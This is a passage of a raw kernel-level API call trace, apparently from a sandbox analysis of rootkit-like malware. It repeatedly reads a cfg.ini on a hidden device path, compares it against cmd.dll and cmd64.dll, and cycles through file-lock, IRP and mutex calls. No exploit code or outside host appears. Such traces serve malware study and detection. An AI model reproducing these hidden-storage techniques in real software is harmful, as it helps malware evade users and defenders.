(in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.566] KeEnterCriticalRegion () [0119.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] ExFreePoolWithTag (P=0xfffffa8003bcbe50, Tag=0x0) [0119.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] KeLeaveCriticalRegion () [0119.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.566] ReleaseMutex (hMutex=0xf0) returned 1 [0119.566] Sleep (dwMilliseconds=0x124f80) [0119.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.581] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.581] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.581] KeEnterCriticalRegion () [0119.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.581] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.581] IdePortDispatch () returned 0x103 [0119.582] KeWaitForMutexObject () returned 0x0 [0119.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.582] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.582] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.582] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.582] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.582] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda7d0 [0119.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.582] KeLeaveCriticalRegion () [0119.582] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.582] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.582] KeEnterCriticalRegion () [0119.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.582] KeLeaveCriticalRegion () [0119.582] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.582] KeEnterCriticalRegion () [0119.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.582] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.582] IdePortDispatch () returned 0x103 [0119.582] KeWaitForMutexObject () returned 0x0 [0119.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.582] KeLeaveCriticalRegion () [0119.582] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.582] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.582] KeEnterCriticalRegion () [0119.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db1000 [0119.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.583] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.583] IdePortDispatch () returned 0x103 [0119.583] KeWaitForMutexObject () returned 0x0 [0119.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.583] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.583] IdePortDispatch () returned 0x103 [0119.583] KeWaitForMutexObject () returned 0x0 [0119.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.583] KeLeaveCriticalRegion () [0119.583] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.584] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.584] KeEnterCriticalRegion () [0119.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] KeLeaveCriticalRegion () [0119.584] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.584] KeEnterCriticalRegion () [0119.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.584] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] KeLeaveCriticalRegion () [0119.584] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.584] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.584] KeEnterCriticalRegion () [0119.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] ExFreePoolWithTag (P=0xfffffa8003bda7d0, Tag=0x0) [0119.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] KeLeaveCriticalRegion () [0119.584] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.584] ReleaseMutex (hMutex=0xf0) returned 1 [0119.584] Sleep (dwMilliseconds=0x124f80) [0119.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.598] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.598] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.598] KeEnterCriticalRegion () [0119.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.598] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.598] IdePortDispatch () returned 0x103 [0119.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.598] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.598] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.598] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.598] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.598] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda770 [0119.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.598] KeLeaveCriticalRegion () [0119.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.598] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.598] KeEnterCriticalRegion () [0119.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.598] KeLeaveCriticalRegion () [0119.598] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.598] KeEnterCriticalRegion () [0119.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.598] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.599] IdePortDispatch () returned 0x103 [0119.599] KeWaitForMutexObject () returned 0x0 [0119.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.599] KeLeaveCriticalRegion () [0119.599] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.599] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.599] KeEnterCriticalRegion () [0119.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db6000 [0119.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.599] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.599] IdePortDispatch () returned 0x103 [0119.599] KeWaitForMutexObject () returned 0x0 [0119.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.599] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.599] IdePortDispatch () returned 0x103 [0119.599] KeWaitForMutexObject () returned 0x0 [0119.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] KeLeaveCriticalRegion () [0119.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.600] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.600] KeEnterCriticalRegion () [0119.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] KeLeaveCriticalRegion () [0119.600] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.600] KeEnterCriticalRegion () [0119.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.600] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] KeLeaveCriticalRegion () [0119.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.600] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.600] KeEnterCriticalRegion () [0119.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] ExFreePoolWithTag (P=0xfffffa8003bda770, Tag=0x0) [0119.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.600] KeLeaveCriticalRegion () [0119.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.600] ReleaseMutex (hMutex=0xf0) returned 1 [0119.600] Sleep (dwMilliseconds=0x124f80) [0119.616] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.616] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.616] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.616] KeEnterCriticalRegion () [0119.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.616] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.616] IdePortDispatch () returned 0x103 [0119.616] KeWaitForMutexObject () returned 0x0 [0119.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcac60 [0119.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.616] KeLeaveCriticalRegion () [0119.616] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.616] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.616] KeEnterCriticalRegion () [0119.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.616] KeLeaveCriticalRegion () [0119.616] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.616] KeEnterCriticalRegion () [0119.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.616] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.616] IdePortDispatch () returned 0x103 [0119.616] KeWaitForMutexObject () returned 0x0 [0119.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.617] KeLeaveCriticalRegion () [0119.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.617] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.617] KeEnterCriticalRegion () [0119.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbb000 [0119.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.617] IdePortDispatch () returned 0x103 [0119.617] KeWaitForMutexObject () returned 0x0 [0119.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.617] IdePortDispatch () returned 0x103 [0119.617] KeWaitForMutexObject () returned 0x0 [0119.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.617] KeLeaveCriticalRegion () [0119.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.618] KeEnterCriticalRegion () [0119.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] KeLeaveCriticalRegion () [0119.618] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.618] KeEnterCriticalRegion () [0119.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcad20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] KeLeaveCriticalRegion () [0119.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.618] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.618] KeEnterCriticalRegion () [0119.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] ExFreePoolWithTag (P=0xfffffa8003bcac60, Tag=0x0) [0119.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.618] KeLeaveCriticalRegion () [0119.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.618] ReleaseMutex (hMutex=0xf0) returned 1 [0119.618] Sleep (dwMilliseconds=0x124f80) [0119.623] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.629] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.629] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.629] KeEnterCriticalRegion () [0119.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.629] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.629] IdePortDispatch () returned 0x103 [0119.629] KeWaitForMutexObject () returned 0x0 [0119.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.629] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.629] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.629] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.629] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.629] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcae60 [0119.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.629] KeLeaveCriticalRegion () [0119.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.629] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 